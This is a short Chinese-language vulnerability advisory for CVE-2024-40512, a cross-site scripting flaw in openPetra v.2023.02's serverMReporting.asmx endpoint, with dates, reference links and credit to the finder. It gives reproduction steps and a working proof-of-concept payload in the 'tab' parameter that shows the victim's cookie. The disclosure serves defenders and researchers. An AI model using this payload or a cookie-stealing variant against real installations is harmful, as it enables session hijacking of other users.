描述:未认证用户可以通过利用 openPetra v.2023.02 中 serverMReporting.asmx 函数的 XSS 漏洞,窃取已认证用户的 Cookie。
受影响产品版本:openPetra v.2023.02
CVE 作者:Jansen Moreira
日期:2024年7月13日
CVE:CVE-2024-40512
CVE 链接:https://www.cve.org/CVERecord?id=CVE-2024-40512
NVD 链接:https://nvd.nist.gov/vuln/detail/CVE-2024-40512
Tenable 链接:https://www.tenable.com/cve/CVE-2024-40512
确认日期:2024年7月13日
测试环境:Linux
1- 访问主页
2- 使用以下路径,并在 tab 参数中添加 XSS 载荷。例如:http://target.com/api/serverMReporting.asmx?bnd=TMReportingWebServiceSoap&op=TReportGeneratorWebConnector_GetProgress&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- 将鼠标悬停在左侧索引项上以触发 XSS
载荷:
tab: x" onmouseover=alert(document.cookie) x="
发现者/致谢: Jansen Moreira